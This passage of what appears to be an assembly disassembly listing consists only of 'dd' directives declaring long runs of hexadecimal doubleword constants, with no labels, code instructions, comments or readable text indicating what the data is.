		dd 1CA87799h, 0D7004C5Eh, 2FC3B94h, 0E4C937h, 5F10B071h
		dd 761DB734h, 23784C03h, 98453270h, 84559Fh, 7DF54761h
		dd 0EFEB9CF4h, 0B78A8800h, 0B8AD1B72h, 0A23A1E6Dh, 2187C360h
		dd 47987A38h, 6C1D2092h, 8040BBACh, 0A60ECC79h,	0DDEF3BFFh
		dd 91F2C280h, 0F8331762h, 5B524A00h, 0EEE35A1Ah, 828B0028h
		dd 0ACC0B19Ah, 6E07F5B3h, 3B92E754h, 0E58569E0h, 90F815h
		dd 5D657F53h, 0BAC734D8h, 0E4754400h, 5B4D6163h, 9AA01C73h
		dd 5EF2C1C2h, 0E842B743h, 6F38D070h, 4F1580B3h,	0A44CA629h
		dd 971B00A1h, 764B187Eh, 27016F85h, 6DD546F6h, 57F05F3Bh
		dd 8BCE1D29h, 4AEC80C3h, 265297E7h, 0FDA458h, 0D740B3B4h
		dd 0E8856A2Bh, 3F603A54h, 0F5A27380h, 27D1134Bh, 0AD28CD60h
		dd 0ED71F8Ch, 4363FF4h,	0BAEB8C0h, 31184BA5h, 62601271h
		dd 0EDA0021h, 0A12854D3h, 41C25127h, 40D9148Dh,	7038F131h
		dd 0D8CA1C2Bh, 1E901DBh, 0D76490C9h, 0F01B9E81h, 500AE93h
		dd 0C5A43AE0h, 803804h,	0BF30FFACh, 0B5CDECE5h,	93F68D1Eh
		dd 0C7AAA5C0h, 6F9E63h,	2B3F9497h, 0F5A09821h, 0F2EE5371h
		dd 68C09300h, 1B4EBCFBh, 6C9B00C8h, 5A3E2042h, 7B0FCDE9h
		dd 230C3618h, 0D0A81EE2h, 1CEB9B23h, 16F95Ch, 6DE722C0h
		dd 673D6C1Dh, 589C8075h, 77832F73h, 0EBAE79CCh,	0E65F7870h
		dd 0CB5B0B0Ah, 0C8837B71h, 0D5F00F69h, 0B85B1DEEh, 0E005DECh
		dd 9F12E013h, 0F54C2888h, 3B080043h, 0F1779382h, 27F878h
		dd 0BF74B4B7h, 0A15A2331h, 7D2DF500h, 4C98EBB8h, 86F91F18h
		dd 613C8F2Ch, 595D60A0h, 7D0011A8h, 0FAD4728Ah,	0E18961Dh
		dd 0D75BC388h, 8B840012h, 4C941506h, 7FC7E700h,	0B0F04749h
		dd 0E1F23E0Ch, 3C128A80h, 43C6302Bh, 5319A500h,	5542EAE7h
		dd 0D4B70082h, 0F7324760h, 1450F4F0h, 857581D0h, 0F1BC0200h
		dd 299E3890h, 0DF6D0098h, 0D1B1D695h, 0F200F7F6h, 47340827h
		dd 0F27F5444h, 1D6F0019h, 9FC3AA9Dh, 0D1763AD0h, 0DB6D7504h
		dd 6BC0C142h, 0E03E53h,	3F69340Eh, 0E3CE62F6h, 0DFB0F700h
		dd 0D6EDFBF8h, 64DC004Bh, 0EA5F360Eh, 262E161Dh, 6600012Eh
		dd 0DBDD2DE2h, 0D0240086h, 0ABB7B1C4h, 640042BCh, 0F78B8859h
		dd 0F0B84Dh, 37CB271Fh,	8393334Bh, 267B1000h, 5DBA7113h
		dd 0CFFB2C6Dh, 0FD980013h, 0A1359169h, 15CB5801h, 0B16FA9D5h
		dd 8FA860h, 8A2EA237h, 315DEE17h, 0D0F69500h, 6CD8AD56h
		dd 0E92C004Dh, 2BA5B3CEh, 8E001028h, 0EED35AB4h, 129E6FEBh
		dd 3A175Bh, 849027ABh, 0E203ECD4h, 4C35BB50h, 862C9001h
		dd 0BC775Ch, 3DE4B3D1h,	0B22158A3h, 74F21802h, 81C6E1D5h
		dd 4EC5DEA4h, 0CC0CC0D7h, 0A7D81C38h, 1AD2872Eh, 21FB3148h
		dd 8B422062h, 0EB4C2400h, 0A93F148Fh, 2BD100B5h, 16BC667Ah
		dd 7D148C0Eh, 9899D8h, 0A5AE5B4Ah, 340F52h, 0A7B453C9h
		dd 996D4E7Eh, 0D2D18409h, 730B93h, 0FAAC0A2Fh, 0B1BA034Bh
		dd 543B4332h, 2B7CCAB8h, 0C9D1101Fh, 2EF764C0h,	0F0668D84h
		dd 92D93C42h, 4C25CD80h, 0F2CB3539h, 3C0AC00h, 893ACE20h
		dd 0EE5C0048h, 0A2E4A58h, 0F500A6D8h, 3F8276A7h, 0F63BAAFAh
		dd 642A0266h, 49920B86h, 0B8E73840h, 9809C81Eh,	45EE0700h
		dd 361B411h, 13A3EAADh,	75B808D7h, 2600708Bh, 0D95EDA05h
		dd 0AE808Dh, 0CB3FF7FBh, 5CE7C21Eh, 5D006EECh, 4DA12622h
		dd 0D55F67h, 0E54974AFh, 736347BBh, 31A06400h, 0D3A7F89Eh
		dd 27C00084h, 0BEA63709h, 77001850h, 0FFC4297Ah, 7A73697h
		dd 460AF351h, 624290EFh, 8E0032B2h, 6ABC8D64h, 0B82FC69h
		dd 4C060F18h, 0EEFD3800h, 0E1044A4Fh, 0E00904EFh, 3E658C80h
		dd 5A01000Dh, 764D8456h, 7100917Ah, 872C746Ch, 0E083E492h
		dd 0EDFC0095h, 9A0AE3D8h, 0A6796AA5h, 88A0E20Fh, 813BC02Dh
		dd 0DFB919h, 0FECF4CCCh, 0BF627D82h, 0D73E4800h, 93ABDC6Eh
		dd 0CB7B00B8h, 0D69020AAh, 0B11EF659h, 0E0000BEFh, 0DE567384h
		dd 578500CDh, 0C2D9F8FFh, 40074788h, 0E021D8B5h, 7D69D5D0h
		dd 94D0CF9Eh, 0C56138ECh, 9F7BCBE0h, 0DDF2C00h,	0BF5B2EEDh
		dd 219F4B6h, 0C8602038h, 1840D843h, 2C007148h, 531B140h
		dd 1C70C953h, 792276B4h, 0CECA5D80h, 0E3399262h, 7AECF00h
		dd 6B8620C8h, 2BC40F7Dh, 1F6272F3h, 83E183D8h, 0E39AF0C3h
		dd 6E4EA61Eh, 0A9D200F9h, 92B5BC57h, 28E102FAh,	0AAC29550h
		dd 0F196A960h, 3CAC0D00h, 8A71814Eh, 0C0031CF7h, 80D3DD0Ch
		dd 5936B656h, 0DD988440h
		dd 8B258018h, 0FD9958h,	94AD1815h, 1BCED1C2h, 46D94512h
		dd 998BF540h, 0AA43F2h,	0BBC44C7Bh, 6E375BE0h, 64478F01h
		dd 414A7E45h, 0E50058BDh, 0A69CB31h, 0F8E410F4h, 0D7D2D600h
		dd 632C8526h, 360301BDh, 8F3D9798h, 0C86C313Fh,	9100873Eh
		dd 401CEEABh, 0F2949BEh, 0F4BF8436h, 91A82A4Ch,	39C8E500h
		dd 0F81DF075h, 6AF71489h, 0DE00D467h, 0D40CD7B2h, 3800D630h
		dd 754EAAAh, 55D2C63h, 0F8B1EF48h, 7573C016h, 0B360400Dh
		dd 9DC09110h, 368038D4h, 49520585h, 69881FFh, 0A22F0DBh
		dd 0D23EC000h, 91774F81h, 2CEF0F3Ah, 5F2124DDh,	607A0C05h
		dd 0A93CC072h, 5C300ACAh, 0DF12E9A3h, 0D2B10C00h, 2376BB6h
		dd 0BF2D50B0h, 30403D3Fh, 7DF2FA03h, 0CEA97118h, 7A7A5F02h
		dd 8D460367h, 0EE48E68Ah, 0F7919C80h, 0E253200h, 0CA34F3C6h
		dd 0B0F61D73h, 52DD8098h, 0C93B182Bh, 0C6715E00h, 0E3F78C97h
		dd 0F3A206A8h, 707993B0h, 3A0D8903h, 0C8A6DEB6h, 782D1h
		dd 0EE3354F0h, 0E575B7F9h, 7EC97602h, 0C0788D97h, 3D20AB25h
		dd 0B881D6DEh, 0D3B501C2h, 0B7BEC41Fh, 4861AC0Eh, 4A790044h
		dd 216F7F3h, 693B27F6h,	0A88184B4h, 2F871B7h, 0F640C0D0h
		dd 0C23A0AAEh, 3BC00386h, 8645000h, 0EF17D3E4h,	80399739h
		dd 2824A0F4h, 0B0E74045h, 77990C89h, 4790C22Bh,	0B75CE301h
		dd 0DA3450CBh, 514CF0h,	95E0B596h, 39E3B69Ch, 0BF788A00h
		dd 23CB72A8h, 85100A9h,	1A0FBA37h, 0CA00B3F9h, 66DFAEFFh
		dd 706C85Ah, 0B7D5FDF8h, 64E3B3C4h, 2EBA03A0h, 944Ch, 0CD2B4982h
		dd 0F834E8h, 447E4D0Ah,	0EEC7BB41h, 111A1001h, 0C15B26C4h
		dd 58407E21h, 785F3DEh,	0A32A7749h, 0D7D3F0F0h,	0CF008489h
		dd 6D8F507Eh, 0B049C5h,	0FB1E6E27h, 195D9F86h, 90999DA0h
		dd 0B9334A1Eh, 3CECAA5Ch, 0F1EADA00h, 3ADE1EA7h, 0C880662Eh
		dd 3E0AB12Bh, 90B8AFBCh, 382C4238h, 95BE830Fh, 983AB558h
		dd 4692967h, 0BA52A3B9h, 0A5A0803Ch, 860019B2h,	0FAC96C9h
		dd 7DE5EFh, 0FB24054Fh,	0C2519803h, 3700A67Ah, 32B71E3Fh
		dd 1CC87EF4h, 0C068D060h, 78CC676Fh, 0E303ED7Ah, 0B05F9475h
		dd 70D498B6h, 5A62020Eh, 2A6F9F33h, 5560EF8Eh, 0D1D0C426h
		dd 0BA3ED40Fh, 6356C010h, 0EAEB0D37h, 0DB30384Ch, 0E1BF2Ch
		dd 889F0848h, 3B1E94B0h, 9A00C66Ah, 3A7A5AB5h, 7C8426BAh
		dd 0C92008E0h, 0BBAA6980h, 4D181Bh, 489F8A7Ah, 2C158CB7h
		dd 9AA25C00h, 306D8B97h, 0E2B9048Dh, 808F3F02h,	0D29CBA98h
		dd 552858F8h, 0F9B0E051h, 0B883993Bh, 0FA068028h, 4810DD62h
		dd 0C6E65C1Ah, 3D5B310Fh, 0FF7FC260h, 0E00F365h, 52B36EEh
		dd 9B2545h, 0CD8914Eh, 1D4A88D5h, 8B1CE100h, 0AD411F3Dh
		dd 0DB8F3909h, 4FAED80h, 0A31D7163h, 0C585B800h, 0A769B231h
		dd 0A27B00C6h, 77D9BD97h, 33E8DFA5h, 1B8E8000h,	4D83CA11h
		dd 2B7846h, 6CEB2A55h, 0A8D7F87Ch, 60B7C900h, 1E7026D4h
		dd 5783003Bh, 6675FEBDh, 310040A3h, 4950150Bh, 0F0604F4h
		dd 0DAA25B20h, 0E9612F2Eh, 0D0594AD0h, 9900EF54h, 0BA428E3Dh
		dd 16A7A0h, 0C866B171h,	29CE10A2h, 0B81F38h, 1C15D783h
		dd 0F7ED57h, 0D451F079h, 8D0F6B5Ah, 0F2458407h,	4CE029DBh
		dd 175D415Bh, 7F08052h,	67F89BA9h, 65B1F085h, 320399C9h
		dd 0FEA3691h, 2235F8FAh, 0A35200FFh, 6BFE5008h,	970074F7h
		dd 0CB617592h, 7C9065h,	47BDB378h, 254CEE53h, 49A7A400h
		dd 661B8933h, 9DC40035h, 8A814BBDh, 76261D4Eh, 5F00EE19h
		dd 330B962Fh, 0CCEF00E7h, 0D61ECEC0h, 53033712h, 978C44E1h
		dd 0D3B991E4h, 0F487E8h, 23548BEBh, 0BD61E67Fh,	779C3Eh
		dd 640B001h, 5876AAE3h,	1D1F5C6Eh, 60007CDCh, 0A0042AACh
		dd 0B10042B8h, 0AEA83AC9h, 0F88AC5h, 1DE16F69h,	0DC15814Ah
		dd 2A10A00h, 0C07916EBh, 7F07483Ah, 0EC80833Bh,	43709318h
		dd 9900F53Ch, 0D566DC5Ch, 0B0E5C7FEh, 4BC300FFh, 0A1263A14h
		dd 1900EA48h, 3FC85102h, 0B3035Bh, 6E6CE98Fh, 0DCA04FA4h
		dd 7ED20700h, 0ED0BFC0Ch, 3D4B01FDh, 30ADB01Eh,	8DF2707Ah
		dd 8C4DD13Eh, 1084BC32h, 0ED260068h, 30D658Eh, 0A31F9F0Ah
		dd 0C830AF93h, 3846736h, 0B45E650h, 0A7A0F63Bh,	0E8C6906Dh
		dd 2110963Ah, 0B080E447h, 7E44CCE3h, 85720014h,	48535287h
		dd 0C700B323h, 12C925BEh, 7F9DA3B5h, 0CF55038Ah, 0FE15A110h
		dd 524376A0h, 807E6E30h, 300C798Dh, 958C653h, 0E0E78CBAh
		dd 46095575h, 8EE6E7ABh, 20E50F22h, 0C3C726FDh,	20705053h
		dd 0CE6337E9h, 0DE5080E8h, 0A4F80B44h, 5D044518h, 0E1E68h
		dd 516F818Bh, 0B93CFEFBh, 0E0A8F738h, 0D4855C0Eh, 0C6820054h
		dd 0A6B5AA6Dh, 2D054353h, 55AB9E4Ch, 4A27C8C0h,	6E0C0F86h
		dd 2A04578h, 80A61156h,	85EAE800h, 0DC2BF205h, 347F3D65h
		dd 6B8C1280h, 0E49560D3h, 1DF5B000h, 3BEAB10Eh,	0EE4E9811h
		dd 5224037Fh, 0AC5E237Ch, 0E6A9B2D7h, 543D3048h, 7E5D6D01h
		dd 270E9683h, 0B839C03Eh, 0EB00AE40h, 9F0F126Bh, 0FC687B4Ah
		dd 151E78C1h, 8C7D31D1h, 93010A00h, 0AB30BF32h,	1E68B30Ah
		dd 3F9C94D0h, 48A8C381h, 39EC556Ch, 0A6D9000Fh,	17E3029Dh
		dd 0E5027E7Ah, 0A542F70h, 720060EAh, 0F11B1CE2h, 7628C0FEh
		dd 0B19A7BFBh, 0BE002492h, 158BEA7Ch, 12A6DD93h, 6D7FEFh
		dd 4F28D80Bh, 8E1EFEFDh, 0D287CBABh, 0C180E53Bh, 0F1A0B4A2h
		dd 0DAADE8h, 0E985DCCCh, 4575E460h, 33D87C14h, 0E85A5068h
		dd 234985F0h, 4E740A6Ch, 0FA9798E0h, 0EC9BA406h, 0E69011h
		dd 0C1406B17h, 8C545E31h, 80C3192Ah, 0F6104907h, 0FCF0D13Fh
		dd 0AF76B0h, 0B9058C6Ch, 0AD1A40E7h, 68CB6EF8h,	0B83D43B7h
		dd 55C92Bh, 0B23D160Fh,	0BC8865F0h, 2E82430Eh, 454FC05Bh
		dd 52DE95h, 0F550E31Ah,	0EBFEB234h, 35580B00h, 7D2B5141h
		dd 60CE2D6h, 0D18510FDh, 383C50E2h, 1E81856Ah, 0D11D25B6h
		dd 5D557281h, 708010E7h, 0F23EF77Ah, 49006EA8h,	23C2435h
		dd 176C20Bh, 0BEDFE346h, 9F0DA0D1h, 6E6C10A1h, 0F37C5D03h
		dd 379288EFh, 753E1C71h, 0D3B00376h, 5803308h, 7C38213Ch
		dd 4745807Ah, 798A1FEh,	0C048DD3Ah, 0B5E58491h,	100276Ah
		dd 3E2A74Eh, 0EE91707h,	7FEB7BF0h, 55334A0h, 87EBAC97h
		dd 0FCD09A39h, 92726790h, 59F800EAh, 21F5B317h,	0A9C0F419h
		dd 7324EF9Eh, 0FB550C2Bh, 0DCF0E838h, 97007D76h, 3E41E7D0h
		dd 7B1BAF32h, 121C0FCh,	0FF8FB023h, 66121A00h, 0B3D14B41h
		dd 0E8BD0059h, 5C03C658h, 6F03E52Dh, 11FDB05Eh,	8970893Eh
		dd 188010E0h, 52F45F36h, 0FE600C19h, 97E1D730h,	0FBC73745h
		dd 80810041h, 0F70E3AEDh, 1F6C0F8Fh, 21E2558Ch,	527C82h
		dd 94EDC407h, 4035ACDFh, 9716FF02h, 0C04EA4D8h,	77A2C01h
		dd 0A6769AE7h, 0C03CC0A3h, 0D37B0DD4h, 2DC8FB00h, 3FDCE6FAh
		dd 27E201C7h, 50997593h, 55FC704Ch, 0E819600h, 3706CE36h
		dd 6A881DEAh, 0A24D8E0Dh, 31945C0h, 0DD03DF6Bh,	4F8D2BFAh
		dd 0C892E8CAh, 0DC2F0941h, 80FF6Ah, 8278EEB5h, 0E6C4610Ch
		dd 4A78C2h, 8354FB98h, 6514ED88h, 0F4968A00h, 5FC00912h
		dd 0E2763AFFh, 0DBAC0380h, 605CFC6Ah, 8D3D78E4h, 6CE3801Fh
		dd 8ED16D4Bh, 46556D6h,	1C88D4A2h, 4E58D704h, 106660ADh
		dd 9DFA84F8h, 1517011Fh, 0F07120B0h, 0DC28C070h, 0DDA6B628h
		dd 7E0FE27Eh
		dd 809F3F15h, 720813A3h, 2FA70736h, 0E0E9D5F6h,	3BDC8455h
		dd 74068518h, 906F40h, 13C4E445h, 0C87C913Ah, 0D8F65801h
		dd 54863009h, 1F59BD3h,	0D90AD120h, 4E271860h, 1F8F0820h
		dd 0CDA5602Fh, 6A309BC3h, 90E5E10Eh, 98AD3FA0h,	0D5D3BB0Fh
		dd 4C6366C0h, 0BD00D2ACh, 4D0503C5h, 38711AC6h,	5F8F6DCDh
		dd 1058076Ch, 497F8836h, 4EDA20h, 7AE68219h, 138BD641h
		dd 0EF87EA00h, 32050B5Dh, 0FA6D7322h, 4D9107B1h, 0C0AF35C8h
		dd 0F3FCF871h, 16DB30A0h, 7400D27Bh, 0F485FFABh, 544A3h
		dd 0A06A6CD1h, 6F3ED57Ah, 0D43DCCE3h, 37387B60h, 0F7D3F62h
		dd 92DD5D88h, 440178E0h, 3500FBBEh, 618BBD9Ch, 0CABB098h
		dd 744A1ED3h, 79C01D40h, 7B86DE77h, 0E1EB00BAh,	0FFA1F340h
		dd 843FB5DFh, 198701DAh, 7F1B2CD1h, 0E2D9BDD4h,	352F0014h
		dd 692F774h, 2B0EE915h,	401CE59Eh, 9AC0897h, 0CC070180h
		dd 61644D6Dh, 1D9C5065h, 0F83FD257h, 1881E19Eh,	28BCCEDAh
		dd 72621A01h, 8078E593h, 35089B10h, 3A73497Bh, 0FD01AACBh
		dd 9E916E0h, 4D418084h,	95992539h, 1BC83C34h, 0B5142C57h
		dd 6A1C781Fh, 0C8F300FEh, 8CB3F42Bh, 0AE7E1A02h, 33A52CC3h
		dd 0A0BD18E0h, 0B69A0A03h, 0CD2AE1Fh, 133BAD99h, 79000251h
		dd 0BF44363Ch, 3A883A93h, 0B40AE684h, 17C6361h,	89AA4E98h
		dd 0FF09CCD2h, 0C12CF848h, 0DD4CF666h, 379862F8h, 0D0C832ABh
		dd 5CADC6F1h, 9C36A03h,	1BC33CDh, 83AED1D0h, 20B5A14Eh
		dd 0EA60F114h, 992039B0h, 0EEBBEA51h, 0F88A22C4h, 0B9801607h
		dd 0C3703411h, 21B379h,	944B63F5h, 0B1CCCFA7h, 699833Eh
		dd 0FC1F8B6Dh, 54642C50h, 10A8312Ah, 0A03824AEh, 0DD0006FEh
		dd 9FE5D7BFh, 0B0417660h, 86B403E0h, 0E189CD9Ah, 84F89DABh
		dd 0F0C4A912h, 214949E3h, 20824000h, 0D0C0C85Ah, 2819EFE9h
		dd 0A8D4733Bh, 32FC98h,	86473929h, 9944022Bh, 1A256300h
		dd 0EF1598DBh, 49A90369h, 0E90B9C52h, 96DF4080h, 9ABB203h
		dd 313A78h, 0C553DE71h,	5A431ADDh, 3000E77Ch, 0AE085C8h
		dd 632056AAh, 5D078961h, 3B861180h, 1E004A72h, 19E78CE9h
		dd 9D556E0h, 1846F776h,	27987801h, 1B39805Bh, 0AEDBD2CDh
		dd 0E5079F6h, 0A0A32AFFh, 4BBC8820h, 0BB2EC902h, 4205AFC8h
		dd 0F461D169h, 4980643Ah, 0F6DC23FEh, 9BF86759h, 5B000470h
		dd 1D506319h, 0A1B2A148h, 2034E4F8h, 0D4651064h, 3610184Eh
		dd 0FA1959F1h, 9AD9003Ah, 67918F24h, 82790246h,	73ECC704h
		dd 749CAD66h, 89901FBBh, 827200FAh, 0DD3E6367h,	1819D2C9h
		dd 3E47D108h, 605289FFh, 4CE84E28h, 5501802Ah, 0AC0F03EAh
		dd 0F0223Bh, 368B7BDAh,	0D580CAh, 0DF08740h, 8C36857h
		dd 0FAF3E04h, 0D88178E9h, 0F80063A0h, 0E28B0789h, 7E4447Dh
		dd 466898B6h, 0E96D04Ah, 201847E9h, 7520CF15h, 0C09F0073h
		dd 52613309h, 0B800AF03h, 807950EAh, 99BE259h, 0FF8AD85Eh
		dd 0A2A18C20h, 0AD1EE8B6h, 3240C796h, 0B7DE9DF8h, 0EE850290h
		dd 896BD2EDh, 64B81880h, 5700DEBCh, 19CA333h, 9D8E337h
		dd 0DB5D2B2Eh, 62C62A80h, 181B1B84h, 0D239A48Fh, 996C4841h
		dd 649639DCh, 2E2E62Eh,	6F6D70B5h, 0BB1F8F80h, 3626C459h
		dd 5FC50461h, 417786h, 7F0B2C0Fh, 14E4A583h, 1804824Ch
		dd 59217E42h, 0EA290050h, 3F677C5Fh, 0CC05B584h, 1928996Ch
		dd 4F4E0081h, 0D94A04Ch, 4B625F6Fh, 10573141h, 0E57603BCh
		dd 8473B600h, 1FF3ED52h, 1FB7560h, 69C0F168h, 8062485Fh
		dd 8CA79839h, 30ED783Dh, 0D5F9E68Eh, 860EE96Eh,	0B55835E7h
		dd 0ECE4CA90h, 8553B140h, 377324F3h, 0BE3E3C34h, 708ED614h
		dd 0B040D53Ah, 4105660Fh, 8FD7A0B5h, 7A91309Bh,	9137859h
		dd 9085F0CEh, 4A6C9010h, 40A94D44h, 700AD7Bh, 0D225F7DBh
		dd 704CC288h, 8DA700E2h, 92B5FAC7h, 3A1A239Eh, 393072F5h
		dd 9E01A98h, 0DC312EE1h, 40002C13h, 93D58FF8h, 0AB417800h
		dd 2402BF91h, 0C1B85884h, 0C9B51E00h, 0FF4EF768h, 3CB07890h
		dd 1D1CF200h, 923F086h,	4A3D026Ah, 0EA65CC37h, 0C8EBF860h
		dd 0EC83AD88h, 0FD270F57h, 3E1C0482h, 0BE00A13Eh, 0C5F34970h
		dd 6629D63Bh, 3A0BF498h, 0DA182229h, 0E12AE0C7h, 5DF214BFh
		dd 6D826840h, 0C4A0E389h, 0EC1F7635h, 0A53B510Fh, 0C8B80054h
		dd 159EDE5Bh, 0ECFE8969h, 0B17A2401h, 70773899h, 0C8052604h
		dd 4C28480Ch, 5A474080h, 6ED09C1h, 28271F3Ah, 1D8330B1h
		dd 2F001C94h, 0DC554269h, 3D664C3Ch, 90569AD4h,	0F02A2058h
		dd 848E3080h, 37A2A7A1h, 13CDBD01h, 244893FCh, 44CEB8EBh
		dd 0A6630BD3h, 3C1A9FD9h, 599344C0h, 10BA24A1h,	0C47966h
		dd 909D2E35h, 0E8A954E1h, 83DA4C38h, 69EB4B01h,	0D3D4E9F4h
		dd 7873F050h, 0E3FC6Ch,	53801E89h, 0A203DAC7h, 0C8D16E05h
		dd 38D81FE8h, 8C4491FFh, 6019BB8Eh, 9300D4F0h, 0F53C67EFh
		dd 1FA7903h, 6CBC84BAh,	33D18DC1h, 0B40071CCh, 8AB52190h
		dd 2E99824Eh, 0C324A7B6h, 6B911AACh, 509CF1B5h,	726DB47Ch
		dd 96634E2Ch, 0A0B9480Bh, 0E1602E28h, 35BB0FE9h, 19427D65h
		dd 8464782h, 6B096DA0h,	5217FA0Bh, 0B0882B7h, 7F3901E5h
		dd 2E4C3399h, 6F4ED489h, 8D44E043h, 0D9BD8Ch, 17B6D732h
		dd 617219ADh, 82E06748h, 482E208Dh, 1EC0394Ch, 0FC980Fh
		dd 0ADA27BE5h, 212E859Bh, 4B9740EFh, 0CC4CA022h, 287A08F0h
		dd 4D0372B1h, 0F090B36Ah, 5CFF1107h, 95802C21h,	36D49802h
		dd 0CB3CCF4Ch, 0ADF8103Ah, 0A40403DCh, 12EC4031h, 0ED0D4F98h
		dd 35F26004h, 0C88D724Eh, 0AC006833h, 0C317D09Eh, 0BEB84E7Eh
		dd 0F28A8099h, 0C51CC01Ah, 0DFDCB9B0h, 136EA35h, 65879F56h
		dd 0D5F89598h, 9251B81Bh, 0B498AB7Ch, 413660C5h, 0ACA6B735h
		dd 34169900h, 113731C4h, 282705Ch, 0AF9E7509h, 0D482B64Fh
		dd 0D100D32Bh, 21FDD4Eh, 78B90EA5h, 4841AD05h, 4895F34Bh
		dd 36847EACh, 0D4A40686h, 47F58465h, 11581FDCh,	0E61983C0h
		dd 0B5E01122h, 10CC5848h, 44E42C6h, 40784D10h, 2FF169C0h
		dd 0E86801D0h, 0FB42D233h, 0CA3029B6h, 0B104444Bh, 8E07C862h
		dd 0E00048E2h, 928CB383h, 0C99302E1h, 5F378407h, 183F40ECh
		dd 0C631E5E7h, 858F6000h, 5BFF540h, 0E8CFBD15h,	5D8C821h
		dd 0D30FB701h, 0F5350BFCh, 3B8CC9D0h, 34847090h, 8001F015h
		dd 41CAE544h, 196A1B25h, 0BC0CC0ACh, 16E1EA00h,	0AF66C1F5h
		dd 5DD0530h, 0CC68A56Bh, 9A0026ECh, 0B1DEE033h,	0B68640h
		dd 0CB92C196h, 93A6DAAEh, 8728F700h, 0BB3163D0h, 0C2B0BF2h
		dd 9832D2B2h, 9758E080h, 0BA00B6F3h, 40259592h,	933E8249h
		dd 1D1154h, 39C0E131h, 0E455DF35h, 5E9C0245h, 0E991C215h
		dd 5AD2CC40h, 8F1F990Ah, 0F68EA0C9h, 0CC010017h, 2EE58098h
		dd 0AE8EB0Dh, 0BDAC1EC5h, 0B65F480h, 257D51A6h,	28019914h
		dd 79B530C4h, 17F1A84Eh, 440E93B6h, 0B148E5ECh,	0C8583024h
		dd 6E02DAEEh, 8527B41Dh, 0EC4645h, 8ABA4FA0h, 75D772D2h
		dd 93DCCD49h, 0BBF86820h, 0DAB80599h, 63E1643Eh, 0BDEA0980h
		dd 4419BCABh, 7DB54069h, 98268D68h, 0E48CD8D9h,	0AD21E0h
		dd 972B8809h, 49A968A6h, 14B6DE16h, 89C4402h, 47D100CCh
		dd 0C20485C0h, 9869F2BDh, 10F10C98h, 6DB98Ah, 705A035h
		dd 108D6h, 0EDC06184h, 3A8C5E89h, 2EF3BA00h, 203E0A8Dh
		dd 93B5ECCEh, 367F888Ch
		dd 5C881093h, 0D5F5006Eh, 9093F17Eh, 0A5020F9Bh, 0F09739B5h
		dd 39A0ECFEh, 0CC9DE547h, 1943007Fh, 0D0F8E17Ch, 6621F8C5h
		dd 697E9040h, 481FB5h, 64D47AA0h, 0A5C38212h, 39085D0Bh
		dd 62288FE6h, 421EDCD6h, 25F844B4h, 0E8AEC2F8h,	6127D125h
		dd 44635884h, 5BF888E5h, 5E8071DDh, 7E358E10h, 241A773Eh
		dd 38A94696h, 4CB85000h, 0CC77BED2h, 0A798CA03h, 0C0E54A28h
		dd 991D6561h, 32870914h, 509484C4h, 0FD8E63h, 751001A1h
		dd 242B1487h, 6D89731Dh, 95C26282h, 58184EC4h, 8D8E24CDh
		dd 0E00C04D2h, 7FC646FFh, 7B487779h, 0C7B20079h, 815DF95Fh
		dd 789659E6h, 0BDE08824h, 0B8979084h, 0A40C737Eh, 2AF50EB8h
		dd 1C07C08h, 45DB167Ah,	15317000h, 68174CCEh, 0C6EB3AADh
		dd 0A4290B07h, 998245E4h, 3872F8h, 5FFA587Bh, 18C2C3h
		dd 6DBD0B44h, 10A06CA3h, 9502C00Ah, 98827473h, 90E7721Eh
		dd 8877C5E0h, 0A009914Ch, 24D2F7A2h, 0F821F68Ch, 4AF4489Eh
		dd 80008E48h, 0C830232Fh, 0C68902BBh, 0B51649AAh, 393B9841h
		dd 4DBF00BCh, 6A54D038h, 6BBA05F3h, 30D8782Dh, 0FFF8CF94h
		dd 8025035Ah, 6CD04713h, 3917A9Ch, 12C9CE25h, 0CAC065D2h
		dd 0A2F6BBE1h, 3EB8A304h, 1CC190AEh, 34300F2Eh,	0ADA1C1DCh
		dd 298A508Eh, 92A001Ch,	1C33ACDEh, 0CABD0024h, 0CB17432Bh
		dd 0F041FCFh, 6F68D361h, 0A50BF0E3h, 0ED0038F2h, 857C4D67h
		dd 3BADF60Ch, 6FB11Ch, 0C3A98BFFh, 31D39AA7h, 0DC712D4Bh
		dd 0A03D8C66h, 809351C7h, 7FDD6F3Ah, 4E00427Fh,	0E161C524h
		dd 18860259h, 80D8A1FEh, 5654F714h, 749C21CCh, 8A6BDD83h
		dd 0D645A8D5h, 14D00078h, 6533FE84h, 0CB3CB5C2h, 0AF96058Ch
		dd 0CC580E49h, 27A3BBD0h, 0A0186980h, 92C3751h,	0B591D032h
		dd 2DF165CFh, 4A782010h, 73A5607Bh, 3BD43E75h, 83A6E202h
		dd 44CC7D4Dh, 1BC1F44h,	59681AF8h, 0F4738B16h, 0F33CDBD3h
		dd 0FF4A013Fh, 8665854h, 20323442h, 751C7C44h, 9DF7B40Eh
		dd 80980E6Ah, 0D84EE80Ch, 304F4EE0h, 514BA57Ch,	7941238h
		dd 857FD975h, 409863D0h, 4F609ABAh, 9C2425F6h, 0EA18F860h
		dd 18787A96h, 29C862A8h, 0B848DDC6h, 0E80E17BFh, 57BBD7h
		dd 1E14CA64h, 0D47E008Fh, 9CDE54B3h, 0D2315F87h, 6A4DC19Ah
		dd 137873D2h, 372C22D7h, 0F158E920h, 0DB60113h,	0DA2DCF5Ah
		dd 2052706Fh, 0E66AB116h, 23A48Dh, 2B4A500h, 0F5F49BDBh
		dd 9200917Dh, 0ED1E609Dh, 90FA25A6h, 823E0051h,	0AC229AC8h
		dd 7A252646h, 0A564203Ah, 7D383Fh, 0CF786245h, 9AEDA85h
		dd 4C5C805Ch, 0FC65C078h, 1703EE08h, 854BCDh, 2AA250Ch
		dd 0BE17AC0Fh, 0BC306FB2h, 0EEC559AFh, 7C1300B6h, 0D2ADB996h
		dd 0B8AEDB1Ah, 7BAB9B10h, 58F01271h, 1F0CC8D0h,	7EE5DD02h
		dd 0C03FA604h, 490AD9Dh, 0F652A959h, 93E0A421h,	0AA3DFDF8h
		dd 8C37808Ah, 38E05E2Ah, 21FC0933h, 0E8186851h,	48BC8509h
		dd 3980D19Ch, 83912069h, 44B0AC9Ch, 0F24A8054h,	5CD3102Ch
		dd 54B1309Ah, 5E62D421h, 3A276E16h, 0AE1C2401h,	0C0253E49h
		dd 681D3430h, 6EE481CFh, 9B99C7C0h, 0C100D777h,	55575E0h
		dd 16FB83Fh, 3DEBFF1Fh,	6983ADD4h, 64518B7Ch, 0E45B005Ch
		dd 0C44F5307h, 3F000AD7h, 24F2A7F6h, 0E6F9F013h, 5CA2E0C8h
		dd 9FC0E4B4h, 1CF6EB04h, 0C935B2Ch, 46177F40h, 6E12DFAh
